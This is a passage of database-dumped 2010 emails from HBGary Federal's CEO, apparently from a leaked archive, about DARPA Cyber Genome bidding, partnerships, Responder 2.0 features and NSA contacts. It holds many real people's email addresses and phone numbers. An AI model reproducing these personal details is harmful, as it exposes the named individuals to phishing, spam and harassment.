\"brianneo@securedecisions.avi.com\" &lt;brianneo@securedecisions.avi.com&gt;, \"jnhq@yahoo.com\" &lt;jnhq@yahoo.com&gt;, \"valerie.guralnik@honeywell.com\" &lt;valerie.guralnik@honeywell.com&gt;, \"Andy.Thompson@jhuapl.edu\" &lt;Andy.Thompson@jhuapl.edu&gt;, \"mjunod@atl.lmco.com\" &lt;mjunod@atl.lmco.com&gt;, \"rishab.malhotra@saic.com\" &lt;rishab.malhotra@saic.com&gt;, \"bayj@ainfosec.com\" &lt;bayj@ainfosec.com&gt;, \"shamilton@distributedinfinity.com\" &lt;shamilton@distributedinfinity.com&gt;, \"aott@distributedinfinity.com\" &lt;aott@distributedinfinity.com&gt;, \"souvas@ainfosec.com\" &lt;souvas@ainfosec.com&gt;, \"Tom@tgoodwincom.com\" &lt;Tom@tgoodwincom.com&gt;, \"jgibbins@distributedinfinity.com\" &lt;jgibbins@distributedinfinity.com&gt;, \"jay.civitillO@sypris.com\" &lt;jay.civitillO@sypris.com&gt;, \"email@stefanoforesti.com\" &lt;email@stefanoforesti.com&gt;, \"matthew_elder@symantec.com\" &lt;matthew_elder@symantec.com&gt;, \"raj.rajagopalan@hp.com\" &lt;raj.rajagopalan@hp.com&gt;, \"troy.swinehart@sypris.com\" &lt;troy.swinehart@sypris.com&gt;, \"hal.aldridge@sypris.com\" &lt;hal.aldridge@sypris.com&gt;, \"gshannon@setcorp.com\" &lt;gshannon@setcorp.com&gt;, \"vijay@ciphersolutions.com\" &lt;vijay@ciphersolutions.com&gt;, \"george@roguegenius.com\" &lt;george@roguegenius.com&gt;, \"patrick.w.phillips@saic.com\" &lt;patrick.w.phillips@saic.com&gt;, \"richard.arnold@macb.com\" &lt;richard.arnold@macb.com&gt;, \"preston.werntz@dhs.gov\" &lt;preston.werntz@dhs.gov&gt;, \"dihrie@semandex.net\" &lt;dihrie@semandex.net&gt;, \"jason.upchurch@gd-ais.com\" &lt;jason.upchurch@gd-ais.com&gt;, \"danstevenson@rti.org\" &lt;danstevenson@rti.org&gt;, \"michael.harbison@gd-ais.com\" &lt;michael.harbison@gd-ais.com&gt;, \"harold.Rodriguez@gd-asi.com\" &lt;harold.Rodriguez@gd-asi.com&gt;, \"mccusker@sonalysts.com\" &lt;mccusker@sonalysts.com&gt;, \"scottso@sonalysts.com\" &lt;scottso@sonalysts.com&gt;, \"marc.zbinden@nisc-llc.com\" &lt;marc.zbinden@nisc-llc.com&gt;, \"patrick@tripledex.com\" &lt;patrick@tripledex.com&gt;, \"ebasu@sentekglobal.com\" &lt;ebasu@sentekglobal.com&gt;, \"kevin.morrison@parsons.com\" &lt;kevin.morrison@parsons.com&gt;, \"ltinnel@globalinfotek.com\" &lt;ltinnel@globalinfotek.com&gt;, \"rick.mcgeer@hp.com\" &lt;rick.mcgeer@hp.com&gt;, \"stephen.barish@macb.com\" &lt;stephen.barish@macb.com&gt;, \"patrick.crago@nisc-llc.com\" &lt;patrick.crago@nisc-llc.com&gt;, \"dxu@cs.purdue.edu\" &lt;dxu@cs.purdue.edu&gt;, \"dave_m_gursky@raytheon.com\" &lt;dave_m_gursky@raytheon.com&gt;, \"guttman@us.ibm.com\" &lt;guttman@us.ibm.com&gt;, \"toweissy@vt.edu\" &lt;toweissy@vt.edu&gt;, \"ccramer@siginnovations.com\" &lt;ccramer@siginnovations.com&gt;, \"lkennedy@siginnovations.com\" &lt;lkennedy@siginnovations.com&gt;, \"lbengfort@cengen.com\" &lt;lbengfort@cengen.com&gt;, \"lkain@cra.com\" &lt;lkain@cra.com&gt;, \"aghosh1@gmu.edu\" &lt;aghosh1@gmu.edu&gt;, \"joshua.davis@gtri.gatech.edu\" &lt;joshua.davis@gtri.gatech.edu&gt;, \"zmitchell@logostech.net\" &lt;zmitchell@logostech.net&gt;, \"j@appranger.com\" &lt;j@appranger.com&gt;, \"kane@referentia.com\" &lt;kane@referentia.com&gt;, \"jsmith@referentia.com\" &lt;jsmith@referentia.com&gt;, \"twilliams@referentia.com\" &lt;twilliams@referentia.com&gt;, \"dchang@referentia.com\" &lt;dchang@referentia.com&gt;, \"kphillips@overwatch.textron.com\" &lt;kphillips@overwatch.textron.com&gt;, \"sdynes@dartmouth.edu\" &lt;sdynes@dartmouth.edu&gt;, \"michael.collins@redjack.com\" &lt;michael.collins@redjack.com&gt;, \"greg.virgin@redjack.com\" &lt;greg.virgin@redjack.com&gt;, \"john.mchugh@redjack.com\" &lt;john.mchugh@redjack.com&gt;, \"jeff.janies@redjack.com\" &lt;jeff.janies@redjack.com&gt;, \"sang.chin@jhuapl.edu\" &lt;sang.chin@jhuapl.edu&gt;, \"paul.b.jaynes@raytheon.com\" &lt;paul.b.jaynes@raytheon.com&gt;, \"rlinge@sei.cmu.edu\" &lt;rlinge@sei.cmu.edu&gt;, \"soswald@sigovs.com\" &lt;soswald@sigovs.com&gt;, \"kppande@msn.com\" &lt;kppande@msn.com&gt;, \"steve@atc-nycorp.com\" &lt;steve@atc-nycorp.com&gt;, \"hinoue@atc-nycorp.com\" &lt;hinoue@atc-nycorp.com&gt;, \"jadavis4@rockwellcollins.com\" &lt;jadavis4@rockwellcollins.com&gt;, \"tburgess@securedsciences.com\" &lt;tburgess@securedsciences.com&gt;, \"jeehye@securedsciences.com\" &lt;jeehye@securedsciences.com&gt;, \"walczak@avi.com\" &lt;walczak@avi.com&gt;, \"caguerreri@gmail.com\" &lt;caguerreri@gmail.com&gt;, \"raj.kant@baesystems.com\" &lt;raj.kant@baesystems.com&gt;, \"rlevy@i-a-i.com\" &lt;rlevy@i-a-i.com&gt;, \"ONeillDon@aol.com\" &lt;ONeillDon@aol.com&gt;, \"Rod.Tjoelker@Boeing.com\" &lt;Rod.Tjoelker@boeing.com&gt;, \"dmatsunaga@referentia.com\" &lt;dmatsunaga@referentia.com&gt;, \"gratson@research.ge.com\" &lt;gratson@research.ge.com&gt;, \"matarazzo1@llnl.gov\" &lt;matarazzo1@llnl.gov&gt;, \"christian.espinosa@eads-na-security.com\" &lt;christian.espinosa@eads-na-security.com&gt;, \"geaton@milcord.com\" &lt;geaton@milcord.com&gt;, \"tom@mccabetech.com\" &lt;tom@mccabetech.com&gt;, \"pc@mitre.org\" &lt;pc@mitre.org&gt;, \"michael.zeberlein@harris.com\" &lt;michael.zeberlein@harris.com&gt;, \"sbarnum@cigital.com\" &lt;sbarnum@cigital.com&gt;, \"evans@ge.com\" &lt;evans@ge.com&gt;, \"judith.c.spering@boeing.com\" &lt;judith.c.spering@boeing.com&gt;, \"philippe.byrnes@ddefend.com\" &lt;philippe.byrnes@ddefend.com&gt;, \"adinaburg@sigovs.cm\" &lt;adinaburg@sigovs.cm&gt;, \"christopher.jones@harris.com\" &lt;christopher.jones@harris.com&gt;, \"kvanbure@harris.com\" &lt;kvanbure@harris.com&gt;, \"fpound@sigovs.com\" &lt;fpound@sigovs.com&gt;, \"roelker@gmail.com\" &lt;roelker@gmail.com&gt;, \"pwilson@securedsciences.com\" &lt;pwilson@securedsciences.com&gt;, \"adahnert@overwatch.textron.com\" &lt;adahnert@overwatch.textron.com&gt;, \"Brian.Masterson@ngc.com\" &lt;Brian.Masterson@ngc.com&gt;, \"irby@pikewerks.com\" &lt;irby@pikewerks.com&gt;, \"melski@grammatech.com\" &lt;melski@grammatech.com&gt;\r\n\r\n\r\nAll,\r\n&nbsp;Due to inclement weather, the Cyber Genome Proposer’s Day scheduled for tomorrow, 09 Feb 2010, has been cancelled.&nbsp; We apologize for this late notice, but the official government closure notice from the Office of Personnel Management (OPM) was not released until 7:00pm EST today.&nbsp; There is no further information at this time, but when something is available it will be posted via the Federal Business Opportunities (FedBizzOpps.Gov) website.\r\n\r\n&nbsp;Please confirm receipt of this message by replying to this email.\r\n&nbsp;\r\n&nbsp;Thank you and we apologize for any inconvenience,\r\n&nbsp;Renee MooreSETADARPA/STOrenee.moore.ctr@darpa.mil703-351-9284\r\n&nbsp;-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',633,'aaron_hbgary_com/633.html'),(2269,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001031.M319200P3547Q2269.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,','Security Services','Hi Penny,\r\n\r\nI need a little clarification.  We have discussed at different times Federal doing services work for commercial.  I got out of the discussion today when talking about PwC that HBGary will manage the commercial services.  Is that the case?  If so ok.  I understand we are new at Malware and IR QRC services.  I just want to know what to put energy into.  Government and commercial incident response and malware analysis services need to be approached slightly differently.  First you don\'t have many government organizations that pay for QRC IR Services thats why there is a JTF-GNO, etc.  And malware services are typically a long-term gig rather than QRC, I think.  So I just need to know what to focus on.  For the government its hard to fund short term items, unless its part of a subscription/O&M.  \r\n\r\nIf you tell me we are not going to do commercial, ok.  If you tell me we are then I will focus on developing the partnerships with PwC, Foundstone, and ISec, etc. to get a more immediate full-breadth offering while Federal stands up its own internal offering.  I know it would be easier to answer if i had 3 people, or even 1 person right now that could do the work, I don\'t, I need some work first before I can staff.  Secondly I am not sure what a reasonable QRC offering is until I get a chance to talk with Phil and some of the potential partners.  We can go hourly rate but thats about it right now until I can get some more specifics on what is typically done.  Once we get that it shouldn\'t be too difficult to manage.\r\n\r\nWe have requisitions going out on Monster tomorrow for IR and Malware Analysis.  Any leads on folks from Martin and or Phil would be great.  We have some TASC folks that want to come work for us in April that currently do Malware analysis at the 92 IOS.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7279,'aaron_hbgary_com/7279.html'),(2270,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001031.M497579P3547Q2270.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Responder 2.0 is live!','Read the 3rd and 4th bullet. &nbsp;This should take care of the 92 IOS problem. &nbsp;We should recommend sending an engineer down there for a few days to help them out?AaronBegin forwarded message:From: Alex Torres &lt;alex@hbgary.com&gt;Date: February 3, 2010 4:29:15 PM ESTTo: all@hbgary.comSubject: Responder 2.0 is live!The engineering team is pleased to announce the release of Responder 2.0. There are many new features and upgrades in this release that make Responder easier and quicker to use than before. New features in this release:\r\n\r\nA 35% speed increase in analysis time over version 1.5 (according to Martin\'s speed tests)Added support for Windows 7 (32 and 64 bit) memory analysis.&nbsp;Added three new project types: \"Remote Memory Snapshot\", \"Live REcon Session\", and \"Forensic Binary Journal\". The \"Remote Memory Snapshot\" project allows you to capture physical memory on a remote machine using FDPro. The \"Live REcon Session\" lets you easily run a malware sample in a VMware Virtual Machine while recording the malware\'s execution with REcon. The \"Forensic Binary Journal\" project type gives you the option of importing a REcon .fbj file only without having to import physical memory.\r\n\r\nThe Live REcon Session project type adds fully automated reverse engineering and tracing of malware samples via integration with VMware Workstation and VMware ESX server sandboxes, a huge timesaver that includes automatically generated reports as well as capture of all underlying code execution and data for analysis. (This is a sure-to-be favorite feature for analysts).\r\n\r\nA new landing page has been added when Responder first opens. From this page you can quickly access the last five recently used projects as well as easily access copies of FDPro.exe and REcon.exe that are included with Responder 2.0.\r\n\r\nUpdated the new project creation wizard to streamline project creation.The user interface has been refocused on reporting, including automated analysis of suspicious binaries and potential malware programs. &nbsp;Beyond the automated report, the new interactive report system allows the analyst to drag and drop detailed information into the report, and control both the content and formatting of the report.\r\n\r\nCompletely upgraded online/integrated help system, and a hardcopy user\'s manual to go with the software.REcon plays a much more integrated role in the analysis, the report automatically details all the important behavior from a malware sample, including network activity, file activity, registry activity, and suspicious runtime behavior such as process and DLL injection activity. &nbsp;All activity is logged down to the individual disassembled instructions behind the behavior, nothing is omitted. Code coverage is illustrated in the disassembly view data samples are shown at every location. &nbsp;This is like having a post-execution debugger, with registers, stack, and sampled data for every time that location was visited. &nbsp;This is a paradigm shift from traditional interactive live debugging. Traditional debugging is cumbersome and requires micromanagement to collect data. &nbsp;This typical debugging environment is designed for CONTROL of the execution, as opposed to OBSERVATION ONLY. &nbsp;Typically, the analyst does not need to control the execution of a binary at this level, and instead only needs observe the behavior. HBGary\'s new approach to debugging is far superior because the analyst can see and query so much more relevant data at one time without having to get into the bits and bytes of single-stepping instructions and using breakpoints. &nbsp;It\'s like having a breakpoint on every basic block 100% of the time, without having to micromanage breakpoints.\r\n\r\nREcon collected control flow is graphable, and this graph can be cross referenced with the executable binary extracted from the physical memory snapshot, allowing both static and dynamic analysis to be combined in one graph. &nbsp;Code coverage is illustrated on basic blocks which have been hit one or more times at runtime. &nbsp;Users can examine runtime sample data at any of these locations.\r\n\r\nDigital DNA has been upgraded to support full disassembly and dataflow of every binary found in the memory snapshot (hundreds, if not thousands of potential binaries). &nbsp;Digital DNA can examine every instruction, and extract behavior from binaries that have their symbols stripped, headers destroyed, even code that exists in rogue memory allocations. &nbsp;This is all 100% automatic, and the results are weighted so users can determine which binaries are the most suspicious at-a-glance.\r\n\r\nAdded command line support for REcon so it can be integrated into automated malware analysis systems.Large numbers of bugfixes to REcon, performance enhancements, support for XP SP3 sandbox, added log window to REcon.\r\n\r\nAdded ability for Responder to automatically decompress compressed HPAK files.User can now control where project files are stored. This allows users to open projects from anywhere as well as save projects anywhere.\r\n\r\nResponder 2.0 utilizes a new installer and patching mechanism.&nbsp;User configurable hotkeys added to all views.Detection added for multiple SSDTs, and rogue SSDTs.Added two new fuzzy-hashing algorithms to DDNA.\r\n\r\nAdded a new \"Samples\" panel that contains sample information from runtime data captured using REcon.Right click menus have been reworked to provide more relevant information based on the type of object clicked on.\r\n\r\nAdded a Process ID column to the Objects panel.-Engineering Team\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11611,'aaron_hbgary_com/11611.html'),(2271,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001031.M666845P3547Q2271.eml','\"Aubrey MERCHANT DEST\" <Aubrey.MERCHANTDEST@qosmos.com>','Re: Qosmos','Hi Aubrey,Thats strange.We met at the AFCEA conference at the end of the year. &nbsp;I am actually in Mclean most of the time if I am not in meetings, can we meet closer to there? &nbsp;My week has been turned upside down so I have lots of openings.Aaron BarrCEOHBGary Federal Inc.On Feb 5, 2010, at 10:49 AM, Aubrey MERCHANT DEST wrote:Aaron,&nbsp;Interestingly I just got a call on my cell phone from a gentleman from PWC.&nbsp; Strange, huh?&nbsp; I gave him your contact information.&nbsp;&nbsp;I am very interested in having a discussion with you about Qosmos NI technology.&nbsp; Can we meet late next week?&nbsp; Thursday or Friday morning in Bethesda?&nbsp; Let me know.&nbsp; At least I’d like to get you take on what we do and how it may be relevant in your mission(s).&nbsp; Thanks.&nbsp;Best,&nbsp;Aubrey Merchant-DestConsulting EngineerO: 301-528-8301F:&nbsp; 301-528-8302C:&nbsp; 301-351-4905&nbsp;&lt;image003.png&gt;&nbsp;\r\n\r\n',16233,'aaron_hbgary_com/16233.html'),(2272,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001031.M875684P3547Q2272.eml','\"Brian Girardi\" <brian@netwitness.com>','Re: NetWitness side of things','Brian,I saw you guys are on the list of attendees at the DARPA cyber genome project day. &nbsp;Whats your take on the whole thing? &nbsp;at least tech area 3 is in our sweet spot so we are likely going to bid something. &nbsp;Talking to a few of the bigger contractors for teaming, etc.I am still working with Brian Masterson of Xetron to get the IRAD funding to start our effort. &nbsp;We have a few meetings with NG senior folks this week to discuss. &nbsp;I will let you know how that goes.Self assessment question. &nbsp;How would you compare yourself to Fidelis? &nbsp;I keep hearing the comparison, but I see you guys as different. &nbsp;I like Netwitness from an intelligence perspective because you give me better interfaces to the data, discovery, correlation, etc.AaronOn Jan 29, 2010, at 11:44 AM, Brian Girardi wrote:\r\nAaron, Thanks for pulling us into your effort. &nbsp;From our perspective the problem set identified and target resonates, an approach like this is needed to better position the organizations to build out better knowledge, skillset, tradecraft...etc. &nbsp;&nbsp;Our experience historically within intel and coming from a services organization re-enforces our belief in the need. &nbsp;To this point, its also not a conventional product sale, as some members of the room were hung up on. Unlike, Splunk we don’t need time to evaluate, weve experienced the problem and realize the need. &nbsp;Eager to participate in the solution.\r\n\r\nFrom a product and technical perspective I think Splunk positions its self as the umbrella for all data consumption and searching... which would include NW, HGbary, and other intel data, which also drives their licensing cost. &nbsp;When you put them under the host category they probably felt as if they were in a corner. &nbsp;I think they do risk cannibalizing themselves in some accounts if they don’t position themselves right( at the top), which in my mind may conflict with the objective of the solution.\r\n\r\nI do think more thought needs to go into how the products play together, and position it in a way that minimizes sales impact if the product already exists or not. &nbsp;Tricky. &nbsp;&nbsp;I believe that as our product is used it inherently drives customers to use it more and buy more for coverage. May be the same for Splunk... The issue there is that they are architected in a similar way to NW, further driving confusion on the interaction. Id challenge that shoveling all NW data into Splunk wont scale (contrary to their assertion) and minimize the value of our analytics. &nbsp;For example, at any particular time we may be processing 100,000 meta elements a second — the real-time nature of our system and its index positions itself better as an adjacent system than just a data provider when part of a larger solution. &nbsp;&nbsp;You may find that during integration the profile of the products may change anyway.\r\n\r\nThe missing part to me is the workflow --- which is part services, integration, and product. &nbsp;Clearwell has an interesting case management system you may want to look at, although Palantir may already do some of this.\r\n\r\n\r\nBRIAN GIRARDI\r\nDIRECTOR, PRODUCT MANAGEMENT\r\nNETWITNESS | 500 Grove Street, Suite 300 | Herndon, VA 20170\r\nO: 703.889.8948 | M: 571.436.8437 | F: 703.651.3126\r\n\r\n\r\nThis communication, along with any attachments, is covered by federal and state law governing electronic communications and may contain company proprietary and legally privileged information.  If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution, use or copying of this message is strictly prohibited.  If you have received this in error, please reply immediately to the sender and delete this message.  Thank you. \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12440,'aaron_hbgary_com/12440.html'),(2273,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001032.M109222P3547Q2273.eml','Dennis.macallam@ngc.com','Get together','Hey,\r\n\r\nSorry dropped out.  Funny it gets busy when your running even a small company.  Hell its just busy period right?  So when can we get together?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4489,'aaron_hbgary_com/4489.html'),(2274,'2010-02-09','\"Mail Delivery Subsystem\" <mailer-daemon@googlemail.com>','/aaron@hbgary.com/new/1297001032.M296413P3547Q2274.eml','aaron@hbgary.com','Delivery Status Notification (Failure)','Delivery to the following recipient failed permanently:\r\n\r\n     Dennis.macallam@ngc.com\r\n\r\nTechnical details of permanent failure: \r\nGoogle tried to deliver your message, but it was rejected by the recipient domain. We recommend contacting the other email provider for further information about the cause of this error. The error that the other server returned was: 550 550 Mailbox unavailable or access denied -  (state 14).\r\n\r\n----- Original message -----\r\n\r\nReceived: by 10.90.19.24 with SMTP id 24mr1167438ags.10.1265687274855;\r\n        Mon, 08 Feb 2010 19:47:54 -0800 (PST)\r\nReturn-Path: \r\nReceived: from ?192.168.1.9? (ip98-169-62-13.dc.dc.cox.net [98.169.62.13])\r\n        by mx.google.com with ESMTPS id 15sm3347386gxk.4.2010.02.08.19.47.53\r\n        (version=TLSv1/SSLv3 cipher=RC4-MD5);\r\n        Mon, 08 Feb 2010 19:47:54 -0800 (PST)\r\nFrom: Aaron Barr \r\nContent-Type: text/plain; charset=us-ascii\r\nContent-Transfer-Encoding: quoted-printable\r\nSubject: Get together\r\nDate: Mon, 8 Feb 2010 22:47:52 -0500\r\nMessage-Id: \r\nTo: Dennis.macallam@ngc.com\r\nMime-Version: 1.0 (Apple Message framework v1077)\r\nX-Mailer: Apple Mail (2.1077)\r\n\r\nHey,\r\n\r\nSorry dropped out.  Funny it gets busy when your running even a small company.  Hell its just busy period right?  So when can we get together?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6432,'aaron_hbgary_com/6432.html'),(2275,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001032.M474186P3547Q2275.eml','dennis.mccallam@ngc.com','Catch up','Hey,\r\n\r\nSorry dropped out.  Funny it gets busy when your running even a small company.  Hell its just busy period right?  So when can we get together?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8844,'aaron_hbgary_com/8844.html'),(2276,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001032.M667233P3547Q2276.eml','\"Etue, David\" <penny@hbgary.com>,\"Etue, David\" <penny@hbgary.com>','Re: Fidelis Security Systems and HB Gary','crap.\r\n\r\nany way we can move this.  I have a meeting with senior folks in NGES to discuss investment.  My meeting is 4-5 in MD.\r\n\r\nAaron\r\n\r\nOn Feb 8, 2010, at 1:24 PM, Etue, David wrote:\r\n\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3877,'aaron_hbgary_com/3877.html'),(2277,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001032.M859210P3547Q2277.eml','\"Geoff Stowe\" <gstowe@palantirtech.com>,\"Geoff Stowe\" <gstowe@palantirtech.com>','Re: Latest Report','Sounds great.\r\n\r\nLets shoot for the 16th.  Looking forward to seeing what comes out of the session.\r\n\r\nAaron\r\nOn Feb 8, 2010, at 2:15 AM, Geoff Stowe wrote:\r\n\r\n> I\'m free the 15-17 to swing by sacramento.  Let me know if any of those days work - I\'d really like to help you guys flesh out that network.\r\n> \r\n> \r\n> ----- Original Message -----\r\n> From: Matthew Steckman\r\n> To: Aaron Barr \r\n> Cc: Geoff Stowe\r\n> Sent: Sun Feb 07 20:31:28 2010\r\n> Subject: RE: Latest Report\r\n> \r\n> This looks great!  And yes, we can certainly help you create some sexier screenshots for the big reveal.\r\n> \r\n> I believe Geoff\'s earliest availability is the week of the 15th, Ill let him pick up the thread from here on that.\r\n> \r\n> Getting on a plane back from travel, Ill call you tomorrow afternoon to sync up on all this.\r\n> \r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Sunday, February 07, 2010 2:09 PM\r\n> To: Matthew Steckman\r\n> Subject: Latest Report\r\n> \r\n> Matt,\r\n> \r\n> Latest copy.  We know we can put in some better shots using Palantir but just don\'t have the skillz yet.  Looks like we will be doing 2 reports.  Endgames is not keen on providing any content that will be for public release.  So we will do another report that we can distribute directly to customers.  For that report we will have a little more time to get in some good Palantir shots.\r\n> \r\n> When can Geoff go up to Sacramento?\r\n> \r\n> We got a request to set up a meeting with some folks up at NTOC and ANO, so will be doing that in the next few weeks.  Would like to bring a finished report with us.\r\n> \r\n> Aaron\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11209,'aaron_hbgary_com/11209.html'),(2278,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001033.M150384P3547Q2278.eml','\"George Hull\" <george.hull@tasc.com>','Re: Your status','George,Good to see you last week. &nbsp;What did you think about our discussions?I already got some feedback from Steve that we missed our audience a bit. &nbsp;While I generally think he is a pain in the neck I think that assessment is somewhat accurate. &nbsp;I was hoping you, Dan, and Eric got something out of it.I had a good meeting with Al Pisani last week. &nbsp;He wants me to talk with Rich R. and some other folks out of Pams BU for Civil.AaronOn Jan 13, 2010, at 9:21 AM, George Hull wrote:\r\n\r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedInGeorge Hull has sent you a message.\r\n  Date:\r\n  1/13/2010\r\n\r\n  Subject:\r\n  Re: Your status\r\n\r\n  Aaron,\r\n\r\nThat was one of my themes from the 2d Air Force Science Board report on Cyberwar. In the 1st study, I successfully argued for the position that we cannot necessarily keep bad guys out of our networks and systems and that for warfighting systems and networks we had to learn to \"fight through\" these attacks, not pull systems off line and launch investigations.  In the 2d study, I set out a position at one point that information assurance was not enough, it was a necessary but not sufficient condition for mission success.  Instead we need Mission Assurance.  We protect systems and networks in order to protect information, we protect information in order to accomplish missions.  It is a mission assurance focus we need.  Key to a Mission Assurance focus is that we cannot leave information security completely in the hand of the A6 (or N6, G6 or J6).  It is an operational responsibility and thus the province of the 3\'s of the world and their Commanders.  Mission assurance is a top down look, while information assurance is typically bottoms up.  They are both needed.  Both the Fighting Through and Mission Assurance themes seem to have caught on.  Nice to see the study panel\'s work having some impact.\r\n\r\nHope you are doing well in your new role.  Things are interesting here. Lot\'s of change and much more to come.\r\n\r\nGeorge\r\n\r\nOn 01/12/10 12:06 PM, Aaron Barr wrote:\r\n--------------------\r\nAaron Barr Gen. Kehler states at AFCEA cyberspace conference, \"you can\'t defend cyberspace, it\'s about mission assurance\".\r\nView/reply to this messageDon\'t want to receive e-mail notifications? Adjust your message settings.© 2009, LinkedIn Corporation\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',317,'aaron_hbgary_com/317.html'),(2279,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001033.M358023P3547Q2279.eml','\"Ghent, Ralph\" <rdghent@nsa.gov>','Re: Malware Genome and Attribution','No problem.  Thanks for being persistent on your end.  I know how it works.\r\n\r\nI am sure I will hear something when it is the right time to get together.\r\n\r\nAaron\r\n\r\nOn Feb 5, 2010, at 7:18 AM, Ghent, Ralph wrote:\r\n\r\n> Aaron,\r\n> Thx for your kind patience.  Sometimes the optempo here is high and good\r\n> new efforts, such as yours, take time to gain traction with the right\r\n> crowd. \r\n> \r\n> Sincerely,\r\n> Ralph Ghent\r\n> rdghent@nsa.gov\r\n> Ph: 443-654-0129\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, February 04, 2010 4:38 PM\r\n> To: Gipson, Vergle \r\n> Cc: Ghent, Ralph ; Fraticelli, David ; Boseman, Barry A; Bodman, Jerry\r\n> M; Trimm, David A; George, Anthony J; Harley Parkes; Carbin, Jeffery J.;\r\n> Brenner, Joel F; McFalls, John ; Ingle, Jeffrey T; Korom, Peggy L;\r\n> Raistrick, Nicole ; Meros, Stephen J; Willard, Gerald \r\n> Subject: Re: Malware Genome and Attribution\r\n> \r\n> Thank you for the response.  Please let me know when is convenient to\r\n> get together for a discussion.  Feel free to give me a call at\r\n> 719.510.8478.  I am not exactly sure which office you are from, but as a\r\n> heads up we recently received a request to set up a demo and discussion\r\n> with the ANO office, David Luber and Katelyn Sprague.  Not sure if we\r\n> can combine discussions or not.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> On Feb 2, 2010, at 8:52 AM, Gipson, Vergle wrote:\r\n> \r\n>> Ralph,\r\n>> \r\n>> 	Thanks for reminding me about this one.\r\n>> \r\n>> Dave/Barry/Matt -- follow up on this please.\r\n>> \r\n>> Vergle\r\n>> \r\n>> -----Original Message-----\r\n>> From: Ghent, Ralph\r\n>> Sent: Tuesday, February 02, 2010 7:02 AM\r\n>> To: Ghent, Ralph ; Gipson, Vergle\r\n>> Cc: Trimm, David A; \'adbarr@me.com\'; George, Anthony J; Harley Parkes;\r\n> \r\n>> Carbin, Jeffery J.; Brenner, Joel F; McFalls, John\r\n>> Subject: RE: Malware Genome and Attribution\r\n>> \r\n>> Vergle,\r\n>> Reminder of the thread below, and your awareness of the efforts of\r\n> Aaron\r\n>> Barr; which may be supportive of your Malware catalog efforts.   Have\r\n>> not seen any response since this was raised in early December.\r\n>> \r\n>> Also, pls see recent news article below:\r\n>> \r\n>> \'Cyber Genome Project\': The military scientists want to establish a \r\n>> \"Cyber Genome\" project which will allow any digital artifact - a \r\n>> document, apiece of malware - to be probed to its very origins.\r\n>> According to an announcement put out yesterday by DARPA, the \"Cyber \r\n>> Genome Program\" will \"produce revolutionary cyber defense and \r\n>> investigatory technologies\".\r\n>> Source: http://www.theregister.co.uk/2010/01/26/cyber_genome_project/\r\n>> \r\n>> VR,\r\n>> Ralph Ghent\r\n>> rdghent@nsa.gov\r\n>> Ph: 443-654-0129\r\n>> \r\n>> -----Original Message-----\r\n>> From: Ghent, Ralph\r\n>> Sent: Monday, January 11, 2010 3:05 PM\r\n>> To: Gipson, Vergle\r\n>> Subject: FW: Malware Genome and Attribution\r\n>> \r\n>> Vergle:\r\n>> I mentioned this fellow to you awhile back and emailed you all in V2 \r\n>> as to possible interest in engaging him to learn of his efforts (which\r\n> \r\n>> seem to me to be very closely aligned to the Carnegie-Mellon Malicious\r\n> \r\n>> Code Catalog efforts).\r\n>> \r\n>> I spoke with Alex at Marshall\'s reception on 8 jan and he said he was \r\n>> holding back on responding til he saw your comments/guidance.\r\n>> \r\n>> \r\n>> Ralph Ghent\r\n>> rdghent@nsa.gov\r\n>> Ph: 443-654-0129\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>> Sent: Friday, January 08, 2010 10:23 AM\r\n>> To: Ghent, Ralph\r\n>> Subject: Re: Malware Genome and Attribution\r\n>> \r\n>> Hi Ralph,\r\n>> \r\n>> Happy New Year.\r\n>> \r\n>> I am still very interested to talk to folks there about the Malicious \r\n>> Code Catalog and our Malware Genome and Digital DNA if there is \r\n>> interest on that side.  As I mentioned we have recently partnered with\r\n> \r\n>> Palantir and are working on a partnership with Netwitness and maybe 1 